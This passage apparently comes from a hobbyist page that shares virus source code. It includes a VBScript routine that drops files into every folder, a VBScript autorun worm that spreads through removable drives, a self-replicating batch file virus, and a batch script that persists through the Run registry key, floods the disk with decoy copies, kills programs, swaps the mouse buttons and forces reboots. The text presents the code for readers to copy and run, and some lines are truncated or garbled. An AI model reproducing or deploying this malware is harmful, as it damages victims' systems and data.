set specs=FSobj.GetFolder(location)

set subFol=specs.SubFolders

for each file in subFol

set sayHello = FSobj.CreateTextFile(file.Path&".hello", 2, True)

sayHello.write finalMes

sayHello.Close

writeData(file.Path)

indexFolders(file.Path)

end sub

sub writeData(location)

On Error Resume Next

dim folder,directory,file,sayHello

set folder=FSobj.GetFolder(location)

set directory=folder.Files

for each file in directory

Autorun virus

f drive.Path<> "A:" Then

Set chg = fso.GetFile(drive.Path & "\ProtectFile.vbs")

chg.Attributes = -8

Set wa=fso.CreateTextFile(drive.Path & "\ProtectFile.vbs",2,True)

wa.Write MyFile

wa.Close

Set wa = fso.GetFile(drive.Path & "\ProtectFile.vbs")

wa.Attributes = -1

Set chg = fso.GetFile(drive.Path & "\autorun.inf")

chg.Attributes = -8

Set wa = fso.CreateTextFile(drive.Path & "\autorun.inf",2,True)

wa.writeline "[autorun]"

wa.WriteLine "open=wscript.exe ProtectFile.vbs"

wa.WriteLine "shell\open=Open"

wa.WriteLine "shell\open\Command=wscript.exe ProtectFile.vbs"

wa.WriteLine "shell\explore=Explore"

wa.WriteLine "shell\explore\Command=wscript.exe ProtectFile.vbs"

wa.Close

Set wa = fso.GetFile(drive.Path & "\autorun.inf")

wa.Attributes = -1

End if

End If

Wscript.sleep 10000

loop while(fso.GetSpecialFolder(1)=fso.GetParentFolderName(WScript.ScriptFullName))

Set objshell = CreateObject("Shell.Application")

Set mycomp=objshell.NameSpace(17)

For Each drive In fso.Drives

If drive.DriveType=4 Then

Set cd=mycomp.ParseName(drive.path & "\")

Set context=cd.Verbs

cd.InvokeVerb "E&ject"

end if

Save it as ProtectFiles.vbs and before realizing, you have created an autorun virus!

A simple virus

@echo off>nul.ViRuS

if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply

if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop

if "%1=="/ViRuS_FINDSELF goto ViRuS_findself

if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0

if not exist %0.bat call %0 /ViRuS_FINDSELF %path%

if not exist %ViRuSname%.bat set ViRuSname=

if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active

rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)

rem ViRuS also if batch was only in an append /x:on path (chance=minimal)

attrib +h %ViRuSname%.bat

for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a

attrib -h %ViRuSname%.bat

set ViRuSname=

goto ViRuS_OLDBAT

:ViRuS_findself

if "%2==" goto XXX_END>nul.ViRuS

if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%

if exist %ViRuSname%.bat goto XXX_END

if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%

if exist %ViRuSname%.bat goto XXX_END

shift>nul.ViRuS

goto ViRuS_findself

:ViRuS_outer_loop

A batch virus

Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)

Be carefull & Don't run this on ur pc

@Echo off

color 4

title 4

title R.I.P

start

start calc

copy %0 %Systemroot%\Greatgame > nul

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ

/d %systemroot%\Greatgame.bat /f > nul

copy %0 *.bat > nul

Attrib +r +h Greatgame.bat

Attrib +r +h

RUNDLL32 USER32.DLL.SwapMouseButton

start calc

cls

tskill msnmsgr

tskill LimeWire

tskill iexplore

tskill NMain

start

cls

cd %userprofile%\desktop

copy Greatgame.bat R.I.P.bat

copy Greatgame.bat R.I.P.jpg

copy Greatgame.bat R.I.P.txt

copy Greatgame.bat R.I.P.exe

copy Greatgame.bat R.I.P.mov

copy Greatgame.bat FixVirus.bat

cd %userprofile%My Documents

copy Greatgame.bat R.I.P.bat

copy Greatgame.bat R.I.P.jpg

copy Greatgame.bat R.I.P.txt

copy Greatgame.bat R.I.P.exe

copy Greatgame.bat R.I.P.mov

copy Greatgame.bat FixVirus.bat

start

start calc

cls

msg * R.I.P

shutdown -r -t 10 -c "VIRUS DETECTED"

start

time 12:00

:R.I.P

cd %usernameprofile%\desktop

copy Greatgame.bat %random%.bat

goto RIP

------------------------------------------------------------------------------------------

It will

1) Copy itself into startup

2) Copy itself over one thousand times into random spots in your computer

3) Hide its self and all other created files

4) Task kill MSN, Norton, Windows Explorer, Limewire.

5) Swap the left mouse button with the right one

6) Opens alert boxes

7) Changes the time to 12:00 and shuts down the computer